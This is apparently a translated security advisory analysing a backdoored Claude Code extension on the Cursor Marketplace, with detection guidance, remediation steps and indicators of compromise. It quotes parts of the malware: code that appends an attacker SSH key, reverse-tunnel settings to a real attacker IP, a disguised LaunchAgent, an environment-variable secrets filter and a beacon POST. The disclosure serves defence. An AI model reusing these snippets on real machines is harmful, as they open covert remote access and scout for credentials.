Phorion 发现 Cursor 市场 Claude Code for VS Code 扩展 2.1.313 被植入 SSH 后门
Backdoor in Claude Code for VS Code extension on the Cursor Marketplace
Phorion 称在 Cursor 市场的官方 Claude Code for VS Code 扩展包中发现后门,2.1.313 版本会在 macOS、Linux 和 Windows 上植入持久化 SSH 后门,Cursor 已下架该版本并从 NPM 和 VS Code 注册表撤下。
Phorion 披露了 Cursor 市场上 Claude Code 扩展被植入后门的具体链路,并给出可落地的检测与清理清单。
TL;DR
Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展包中发现了一个后门,该后门会在 macOS、Linux 和 Windows 上植入持久的 SSH 后门。本文主要聚焦于 macOS,因为该扩展会尝试配置 SSH 后门并建立持久化。
各组织应立即检查其环境中是否使用了 Claude Code for VSCode 2.1.313,并在发现使用该扩展的情况下启动事件响应。
Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭到入侵,被植入后门的扩展包中包含一个持久的 Secure Shell(SSH)后门。Cursor 已从其市场中移除了相关版本,并从相应注册表中撤下了 2.1.313 的 NPM 和 VSCode 版本。
虽然该植入程序包含针对 macOS、Linux 和 Windows 的安装与持久化逻辑,但本文主要聚焦于 macOS,同时指出其他平台上的关键差异以及若干实现缺陷。
Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 及运行它的用户的权限运行,被植入后门的扩展在模块加载后即可立即访问本地文件、源代码和开发者工具。
值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 时存在一个可能的疏漏。安装逻辑假定它可以在没有 root 权限的情况下检查当前的远程登录状态。当以标准用户身份运行时,systemsetup -getremotelogin 会输出管理员权限错误并以状态 0 退出,而不是返回 Off。由于脚本仅在输出匹配 Off 时才尝试启用 SSH,因此它完全跳过了启用步骤。在尚未运行 SSH 的 Mac 上,这一错误会破坏入站访问路径,尽管 SSH 密钥和持久化仍会被植入。
在本文中,我们将介绍该后门的工作原理、macOS 检查为何失败,以及在整个资产环境中应排查哪些内容。该载荷的目标是长期交互式访问;尽管 SSH 后门缺陷将 macOS 上的影响降至最低,但该恶意软件仍是一个重大威胁,它会安装持久化机制并将主机侦察信息回传给操作者。
感染链
Cursor Marketplace 扩展
被入侵的 extension.js 文件以一个注入的立即调用函数表达式(IIFE)开头,该表达式被前置到压缩后的扩展包中。扩展包的其余部分看起来与标准扩展无异,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。
注入的前缀引入了标准 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载该文件时立即执行,甚至早于扩展正常的 activate 回调运行。用户无需与扩展交互,载荷即可触发。
阶段 1 - 准备 SSH 访问
首先,载荷确保 ~/.ssh 存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys,将目录权限设置为 0700,文件权限设置为 0600。
该密钥使用注释 svc-telemetry。在追加之前,脚本检查的是 svc-telemetry 是否已在文件中,而不是检查密钥本身。在排查此活动时,值得检查公钥指纹,而不是仅依赖注释字符串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
此处,cur 保存 authorized_keys 的现有内容,PUB 是嵌入的攻击者公钥(此处已脱敏)。
密钥就位后,任何持有匹配私钥的人都可以冒充该用户通过认证,前提是 SSH 确实在运行。脚本的下一步会尝试确保本地 SSH 守护进程已启用并处于监听状态:
- Linux:尝试通过
systemctl启用并启动sshd或ssh,失败时回退到service和/etc/init.d/。 - macOS:检查“远程登录”,如果报告为
Off,则尝试通过sudo -n systemsetup -setremotelogin on启用它。 - Windows:尝试使用 PowerShell 安装并启动 OpenSSH Server。
这些步骤都不包含提权漏洞利用。非交互式的 sudo -n 会失败,除非用户已经缓存或配置了免密码 sudo,因此从标准用户上下文启动系统服务并不总能成功。
看起来 Windows 代码路径也有自己的 bug:它通过一个硬编码了 /bin/sh 的辅助函数(det())来传递 PowerShell 服务设置命令,这在标准 Windows 安装上走不了多远。
macOS SSH 逻辑中的 bug?
在 macOS 上,设置过程可能在执行到 sudo 命令之前就遇到问题。脚本在未提权的情况下运行 systemsetup -getremotelogin,并将输出与 /Off/i 进行比对。只有当输出包含 Off 时,它才会尝试启用“远程登录”:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
注意,第二条命令(-setremotelogin on)使用了 sudo -n,而第一条命令(-getremotelogin)没有。当你在 macOS 上以标准用户身份运行 systemsetup -getremotelogin 时,得到的却是:
You need administrator access to run this tool... exiting!
systemsetup 在没有管理员权限时拒绝读取该设置,将错误打印到 stdout,并以状态 0 退出。恶意软件的 ex() 辅助函数会抓取 stdout 并返回它:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
由于输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的求值结果为 false。
结果,脚本跳过了 if 代码块,永远不会运行 sudo -n systemsetup -setremotelogin on。它实际上把“我没有权限检查 SSH 是否关闭”当成了“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,你在进程遥测中看不到启用尝试。
这个 bug 可能破坏访问链的最后一步。如果 Mac 上的“远程登录”尚未启用,出站隧道仍然可以连接到攻击者的服务器,但通过隧道转发回来的任何流量都会撞上 localhost 上关闭的 22 端口。
当然,这不能作为防御手段来依赖。如果用户已经启用了“远程登录”,或者之后将其打开,后门就已经准备就绪、随时可用。
阶段 2 - 建立反向 SSH 隧道
接下来,脚本以 tunnel 用户身份在 22 端口上建立到 134.209.82[.]225 的出站 SSH 连接。为了向攻击者的服务器进行认证,它会解码另一个嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
在调查期间,有必要分清这两个密钥:
- 添加到
~/.ssh/authorized_keys的公钥(svc-telemetry)让攻击者能够登录受害者的机器。 - 嵌入的私钥(
svc-telemetry-tun)让受害者的机器能够向外连接到攻击者的隧道服务器。
脚本将这个隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后跟主机名和主目录路径的 MD5 哈希的前十个字符:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
该隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 会要求攻击者的 SSH 服务器动态分配一个监听端口,并将命中该端口的任何流量通过隧道转发回受害者机器上的 localhost:22:
Affected host -- outbound SSH tunnel --> External SSH server
Operator -- separate connection --> Server's allocated port
|
Through the existing tunnel
|
v
Affected host's SSH:22
|
Login using the planted key
由于隧道以 -N 方式运行,它只是保持端口转发处于打开状态,而不会在远程服务器上执行命令。当操作者想要访问该机器时,他们通过其服务器上分配的端口启动一个单独的 SSH 会话,使用在阶段 1 中植入的密钥对受害者的本地 SSH 守护进程进行身份验证。这样他们就能获得完整的交互式 shell 和文件传输能力,而无需在 JavaScript 本身中处理任何自定义 C2 命令。
该 SSH 命令还传递了一些标志,以保持连接安静且非交互:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,将 keepalive 设置为 30 秒(ServerAliveCountMax=3),并开启 ExitOnForwardFailure。
如果安装了 autossh,脚本会使用它;否则回退到标准的 ssh。它将连接包装在一个分离的重试循环中,每次尝试之间休眠 60 秒,在 Unix 系统上使用 pgrep 以避免启动重复的初始隧道。由于该循环是分离的,即使用户关闭了 IDE,隧道仍会保持运行。
阶段 3 - 保持访问可用
为了在重启后继续存活,脚本在初始分离隧道之外还设置了平台特定的持久化:
| 平台 | 产物 | 持久化机制 | 备注 |
|---|---|---|---|
| Linux | ~/.config/.smt、~/.config/.smtk | 写入一个 shell 脚本,用于重建隧道密钥并循环 SSH 连接,然后向用户的 crontab 添加一条 @reboot 条目。 | crontab 检查中存在一个 bug,在重复运行时可能会清除现有的用户 cron 任务(详见下文)。 |
| macOS | ~/.config/.smt、~/.config/.smtk、~/Library/LaunchAgents/com.apple.sysmond.plist | 写入一个用户 LaunchAgent,在将 RunAtLoad 和 KeepAlive 设置为 true 的情况下运行 /bin/sh ~/.config/.smt,然后通过 launchctl 加载它。 | 在用户上下文中运行,而不是作为 root LaunchDaemon 运行。 |
| Windows | ~/.config/smt.cmd、~/.config/smtk、%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | 尝试创建一个名为 SysMon 的计划任务,在启动时以 SYSTEM 身份运行。如果失败,则将 sysmon.cmd 放入用户的启动文件夹。 | 创建 SYSTEM 任务需要管理员权限;启动文件夹回退方案在登录时以用户身份运行。 |
在 macOS 和 Linux 上,~/.config/.smt 脚本内嵌了隧道私钥,并在启动重连循环之前将其写入 ~/.config/.smtk。
在 macOS 上,LaunchAgent 在 ~/Library/LaunchAgents/ 中伪装成 com.apple.sysmond.plist:
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
阶段 4 - 主机侦察
最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:
- 主机名、用户名、操作系统平台和架构
- 主目录、当前工作目录和全局 Git 电子邮件(
git config --global user.email) - 公共 IP 地址以及每个设置阶段的状态标志(例如是否添加了 SSH 密钥以及运行了哪种持久化方法)
- 最多 40 个匹配
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i的环境变量 名称(不是值)
环境变量检查使用 Object.keys(process.env):
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)
由于它只获取变量名称,信标不会泄露秘密值本身。相反,它让操作者快速盘点机器上存在哪些云凭据或 API 令牌,以便他们知道应优先处理哪些主机。
为了获取机器的公共 IP,脚本会查询 ifconfig[.]me,回退到 api[.]ipify[.]org。
然后,它通过明文 HTTP POST 请求将 JSON 报告发送到 /beacon,同时发送到 134.209.82[.]225:8099 和 127.0.0.1:8099:
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
为什么它还将信标的副本发送到 127.0.0.1:8099 在样本中并不清楚;脚本本身并未在该端口上设置本地监听器。
信标使用 setTimeout 调度一次(在初始设置运行后 1.5 秒),并用 res.resume() 丢弃任何 HTTP 响应。这纯粹是一次签到,让操作者知道主机已准备就绪,而 SSH 隧道负责实际访问。
检测机会
从检测的角度来看,在 macOS 上使用端点安全框架(ESF)遥测时,这条攻击链中有几种行为格外突出。
SSH 密钥与配置更改
由于恶意软件直接使用 Node 的 fs.appendFileSync 向 ~/.ssh/authorized_keys 追加内容,仅监控进程、查找诸如 echo 或 tee 这类 shell 命令触碰 authorized_keys 的规则无法捕获它。这正是文件修改遥测至关重要的地方:监控 IDE 辅助进程(Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys。
尽管 IDE 二进制文件本身具有有效签名,但其扩展宿主进程在后台修改 SSH 认证文件毫无正当理由。
虽然你也应监控 systemsetup -setremotelogin on,但不要将其作为对该活动告警的必要条件。如上所述,macOS 上损坏的状态检查意味着该命令往往根本不会运行。
用户 LaunchAgent 持久化
macOS 上的持久化设置为我们提供了几个强信号:
- 非 Apple 进程写入带有
com.apple.*标签的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)。 - 配置为对用户主目录中的隐藏脚本执行
/bin/sh的 LaunchAgent(~/.config/.smt)。
由于初始隧道以分离进程方式生成,且 launchd 随后直接管理 .smt,后续的 ssh 进程在实时进程树中不会以 IDE 作为其直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建关联回 IDE 扩展宿主,能大大更容易地拼凑出整条攻击链。
SSH 隧道与后续访问
在进程和网络方面,请留意:
- 以远程端口转发(
-R *:0:localhost:22)启动的ssh或autossh,以及从/tmp/.stk_*或~/.config/.smtk拉取的标识文件。 - 向
134.209.82[.]225的 22 端口发起的出站 SSH 连接,同时伴随向134.209.82[.]225:8099的 HTTP POST 请求(以及向127.0.0.1:8099的连接尝试)。
如果你发现某台主机运行过此扩展,务必检查隧道是仅仅建立,还是操作者确实通过它登录了。由于入站会话通过本地端口转发到达,SSH 日志中的成功登录将显示为来自 localhost(127.0.0.1 或 ::1)使用 svc-telemetry 密钥进行认证。
修复
如果你识别出受影响的机器,仅卸载扩展不会移除后门。确保你的响应覆盖它投放的所有阶段:
- 终止活动隧道进程: 终止
/bin/sh重试循环以及任何连接134.209.82[.]225的ssh或autossh进程。 - 移除持久化: 在 macOS 上卸载并删除
~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清理@rebootcron 条目 / 在 Windows 上清理SysMon计划任务和启动脚本),并移除~/.config/.smt和~/.config/.smtk。 - 清理 SSH 密钥和状态: 从
~/.ssh/authorized_keys中移除svc-telemetry公钥,删除/tmp/.stk_*,并验证远程登录(SSH)未被意外启用。 - 轮换凭据: 如果主机上启用了 SSH,或有任何入站登录的证据,请轮换该用户账户可访问的任何凭据或令牌(尤其是那些匹配
KEY|TOKEN|SECRET|PASS|AWS|GCP环境变量过滤器的凭据)。
Phorion 的方法
Phorion 的开箱即用检测覆盖通过多条规则标记了此次攻击中使用的 macOS 持久化,包括非 Apple 进程创建 com.apple.* LaunchAgent,以及 LaunchAgent 执行隐藏目录中的 shell 脚本。
除持久化外,Phorion 的文件访问遥测还能捕获 IDE 扩展宿主直接修改 ~/.ssh/authorized_keys,并且可使用 Phorion Protections 锁定 ~/.ssh/,以便从一开始就只允许授权进程读取或修改 SSH 密钥和配置文件。
如果你想了解 Phorion 如何在你的 Mac 设备群中检测并阻止此类供应链威胁,请联系我们安排演示。
指标
样本与公钥指纹
| 指标 | 值 | 备注 |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | 被植入后门的 extension.js 包 |
| 受害者登录公钥指纹 | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | 追加到 ~/.ssh/authorized_keys 的 Ed25519 密钥(注释 svc-telemetry) |
| 隧道公钥指纹 | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | 用于向隧道服务器认证的内嵌 Ed25519 密钥(注释 svc-telemetry-tun) |
网络指标
| 指标 | 类型 | 备注 |
|---|---|---|
134.209.82[.]225(TCP 22,用户 tunnel) | IP / SSH | 出站反向 SSH 隧道服务器 |
134.209.82[.]225:8099(POST /beacon) | IP / HTTP | 外部主机上报信标端点 |
127.0.0.1:8099(POST /beacon) | 回环 / HTTP | 本地信标目标 |
ifconfig[.]me、api[.]ipify[.]org | 域名 | 用于公网 IP 探测的合法服务 |
主机痕迹
| 痕迹 | 平台 | 备注 |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | macOS(Apple Silicon) | 已安装扩展目录(<ide> 因编辑器而异) |
~/.ssh/authorized_keys(注释 svc-telemetry) | 全部 | 植入的 Ed25519 公钥 |
<TMP>/.stk_<10 hex chars>(macOS 上为 $TMPDIR/.stk_*) | 全部 | 操作系统临时目录中的初始隧道私钥(后缀为 MD5(hostname + HOME) 的前 10 个十六进制字符) |
~/.config/.smt 和 ~/.config/.smtk | macOS、Linux | 持久化 shell 脚本及重建的隧道私钥 |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | 执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent |
@reboot 的 cron 条目,用于 ~/.config/.smt | Linux | 用户 crontab 持久化 |
~/.config/smt.cmd 和 ~/.config/smtk | Windows | 持久化批处理脚本及隧道私钥 |
计划任务 SysMon | Windows | 启动计划任务(请求 SYSTEM) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Windows | 启动文件夹备用脚本 |
来源:Hacker News · phorion.io